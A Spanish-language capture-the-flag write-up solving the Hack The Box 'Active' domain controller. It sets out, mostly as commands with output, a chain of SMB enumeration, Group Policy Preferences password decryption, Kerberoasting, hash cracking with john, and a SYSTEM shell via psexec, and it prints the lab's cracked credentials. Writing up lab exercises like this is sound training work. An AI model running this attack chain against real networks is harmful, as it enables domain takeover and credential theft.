Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Active, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- Enumeración del sistema, en este caso es de directorio activo (smbmap,smbclient,crackmapexec).
- Obtención de contraseñas a través del archivo grupos.xlm de Group Policy Preferences.
- kerberoast attack (Para escalar privilegios).
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
4
ping -c 1 10.10.10.100
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.
64 bytes from 10.10.10.100: icmp_seq=1 ttl=127 time=583 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap -p- -sS -open -min-rate 5000 10.10.10.100
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
9389/tcp open adws
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49165/tcp open unknown
49170/tcp open unknown
49171/tcp open unknown
Los puertos expuestos de la máquina nos hacen pensar que se trata de un directorio activo, sin embargo, realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
sudo nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 10.10.10.100 -oN ServiceScan
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-06 23:23:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49166/tcp closed unknown
49168/tcp closed unknown
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-02-06T23:24:35
|_ start_date: 2023-02-06T22:55:57
| smb2-security-mode:
| 210:
|_ Message signing enabled and required
Efectivamente, estamos frente a un directorio activo. En primer lugar, se observa el puerto 445
abierto, el cual corresponde al servicio smb
, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec
:
1
2
3
crackmapexec smb 10.10.10.100
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
Se puede observar que es un DC y que el dominio es active.htb, por lo tanto, abrimos el /etc/hosts e ingresamos dicho nombre de dominio:
1
2
3
4
5
6
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.100 active.htb
Para de esta manera tener conectividad, para comprobarlo utilizamos ping
:
1
2
3
4
ping -c 1 active.htb
PING active.htb (10.10.10.100) 56(84) bytes of data.
64 bytes from active.htb (10.10.10.100): icmp_seq=1 ttl=127 time=144 ms
Luego de comprobar lo anterior, probamos si se pueden listar archivos compartidos en la red, con la herramienta crackmapexec
:
1
2
3
4
crackmapexec smb 10.10.10.100 --shares
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)
Sin embargo, no fue posible. Para seguir la enumeración utilizamos smbmap
:
1
2
3
4
5
6
7
8
9
10
11
12
smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445 Name: active.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
SYSVOL NO ACCESS Logon server share
Users NO ACCESS
Tenemos capacidad de lectura en el recurso Replication, utilizando smbclient
intentamos conectarnos utilizando sesión anónima:
1
2
3
4
5
smbclient //10.10.10.100/Replication -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>
Logramos conectarnos, ahora buscaremos los archivos compartidos.
Dentro del directorio active.htb
encontramos los archivos:
1
2
3
4
5
6
7
8
9
smb: \active.htb\> dir
. D 0 Sat Jul 21 06:37:44 2018
.. D 0 Sat Jul 21 06:37:44 2018
DfsrPrivate DHS 0 Sat Jul 21 06:37:44 2018
Policies D 0 Sat Jul 21 06:37:44 2018
scripts D 0 Wed Jul 18 14:48:57 2018
5217023 blocks of size 4096. 279628 blocks available
smb: \active.htb\>
Estos archivos corresponden a los encontrados en el recurso SYSVOL
, por lo tanto, puede ser que este archivo sea una replicación del mismo. Esto es peligroso debido a que existe un archivo llamado Groups.xml que puede contener contraseñas, por lo tanto, buscaremos dentro de los directorios por si lo encontramos.
1
2
3
4
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> dir
. D 0 Sat Jul 21 06:37:44 2018
.. D 0 Sat Jul 21 06:37:44 2018
Groups.xml A 533 Wed Jul 18 16:46:06 2018
Tenemos suerte, encontramos el archivo, por lo tanto, lo transferimos a nuestro equipo:
1
2
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
Al abrir el archivo encontramos lo siguiente:
1
2
3
4
5
cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
Si prestamos atención, podemos ver un usuario y contraseña:
1
2
name="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
Especificamente es un hash, por lo tanto, si se logra romper dicho hash podremos ver la contraseña en texto claro.
Explotación
Para crackear el hash se utiliza la herramienta gpp-decrypt
:
1
2
3
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
Teniendo un posible usuario y contraseña, los validamos utilizando crackmapexec
:
1
2
3
4
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
Con las credenciales utilizamos smbmap
:
1
2
3
4
5
6
7
8
9
10
11
12
13
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
[+] IP: 10.10.10.100:445 Name: active.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
Replication READ ONLY
SYSVOL READ ONLY Logon server share
Users READ ONLY
Observamos que tenemos capacidad de lectura en el directorio Users, navegamos hasta el directorio personal del usuario SVC_TGS:
1
2
3
4
5
6
7
8
9
10
11
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users/SVC_TGS/Desktop
[+] IP: 10.10.10.100:445 Name: active.htb
Disk Permissions Comment
---- ----------- -------
Users READ ONLY
.\UsersSVC_TGS\Desktop\*
dr--r--r-- 0 Sat Jul 21 11:14:42 2018 .
dr--r--r-- 0 Sat Jul 21 11:14:42 2018 ..
fw--w--w-- 34 Mon Feb 6 17:56:46 2023 user.txt
Encontramos la flag de usuario, por lo tanto, la descargamos:
1
2
3
4
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --download Users/SVC_TGS/Desktop/user.txt
[+] Starting download: Users\SVC_TGS\Desktop\user.txt (34 bytes)
[+] File output to: /home/kali/Downloads/10.10.10.100-Users_SVC_TGS_Desktop_user.txt
Lo abrimos (ocultamos la mitad de la flag):
1
2
3
cat 10.10.10.100-Users_SVC_TGS_Desktop_user.txt
f7a72e19020436212c3a6
¡Bien! hemos vulnerado la máquina, ahora toca convertirse en domain admin.
Escalada de privilegios
Como la máquina no tiene el puerto 5985 abierto no podemos realizar nada con respecto al grupo remote management use. Sin embargo, se puede intentar realizar un ataque kerberoast, para esto utilizaremos el GetUserSPNs.py
, dependiendo de lo que responda podremos obtener el ticket:
1
2
3
4
5
6
7
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2023-02-06 17:56:58.570146
Podemos observar que si, para obtener el ticket agregamos la flag request
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2023-02-06 19:45:27.307178
[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$8a915b03b8c2e698a01ebd0b0c67c164$04fd9de1a7886832b4ed8f449f4fd2452a538fc2069bc86165e2917cb568c5d8ed88
ba122d4629272d9db640fc719d726e3ea7fa041bcfba29ae3ceac3e605168e88a5f335fb9015564401ae64aa1352c6ba6057b19babd0ead9186194aaf2603dae85f8a22f6baecc5a4b849547b23ca8aca7899
fe3ab7d6e05a6377a1bcda8463f5041b63a5df66f3b62f74eba18f3110a0796351d0dfaa9b765a7a8f93c4027a25f90423c258a40f662908f676f8bf4d312a35e9d91ec477ae212bbae96cf39b46717d796a8
f5927999bbc7abec430df29f3e78328319c0e67d664a43df1cad6eb4b202fca448319975ebdf23d6ccd22488332a1ee5c61495f36477fe4caf0138faa078ea2bef5963a8f8856a202e4a2329a44363970b1d5
0944d3208fca98f3fe7f84fcfc82d14df458c3e10dc3123e313dd5536860cf79235ca969e3d515513e20402c9741188c18602f55ab44a8cfa9af174129f7481b86a686964301ffbbe25506cbfd915b7aa47c0
77ac327cb6f87a3981f15fa1822fc742b9151e33432aede1178898f96d56a07aaa92f255a0aaba7bb348f24f44184be4901909babe8ffc7c93d88c6aa87a4a9ef1def2ed5f10fa0e0b3e1d9d119d873af28a1
e3ccf02b1ddede5be00e51ae977bcdaf06064c3e499e2404ada87522b204f167e083032997df2f1f0179ccd44571b6db9ff371e2ca88ebdce6ed41637776a5400aa6116277a2bc07f62b7396db0c2f8aa3b21
fd376f1448286bc1902a4e3f47a6e4f8db97462bfbec89ba4b7520664ff9aa7c73f23e351772f20dabb7a8af9964cbf46b2d4c663f7043891a9fc7ad69c36da8b75a9f9727bdc342ac7605dbf25753dcf4883
be00cc61631522c179033345c99c562311fd47b08302ece8e41c32e802214c0addf369fdd3ccd8f6fd3ca705e0eaddf8ce7fcd3c24d3baec11a2544a3c43de7b1cf42e302fe4991d1a08f98ef4d5f3b87d927
24b5819a67460a760fab8e0cd50d8f6a35056e5175b4aa19565be1c98937bf71e3b29944c544220913b4284be18092a694f31b159d50aae15e9bcb329edeac0b9cc63d81a78b2cc5e2f680b44343697bedf40
1c95ac21d22faf2c7576273acebacfc1312c1f1f0020dd5e9c47d9a438f5249210961d2ed9dbe595d08de428344f72f5503d6785e5f100206be26017c118db6264015083ed00596eb4330e4c0bab1ea84372c
69050adb00fae353ffe94643fc202d00aef8f1080b49e967dbc90775fc104d
Tenemos el ticket, este hash debemos romperlo para obtener la contraseña, para ello se pueden utilizar diversas herramientas, en este caso utilizaremos john
y el diccionario rockyou.txt:
1
2
3
4
5
6
7
8
9
10
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:05 DONE (2023-02-06 19:54) 0.1972g/s 2078Kp/s 2078Kc/s 2078KC/s Tiffani1432..Thrash1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Observamos que la contraseña es Ticketmaster1968, para verificar si la contraseña corresponde a la de administrador utilizamos crackmapexec
:
1
2
3
4
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
Observamos que todo es correcto, además crackmapexec
nos dice (Pwn3d!).
Como tenemos las credenciales de usuario administrador podemos intentar conectarnos por psexec.py, pues deberiamos tener capacidad de escritura en los recursos compartidos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file LxLKUFfn.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service iIYA on 10.10.10.100.....
[*] Starting service iIYA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
¡Entramos!
Ahora debemos encontrar la flag para ellos vamos al directorio personal del administrator:
1
2
3
C:\Users\Administrator\Desktop> type root.txt
1b55be15cf3b22b97b
!Listo!
Hemos vulnerado completamente la máquina hasta ser administradores.
Nos vemos, hasta la próxima.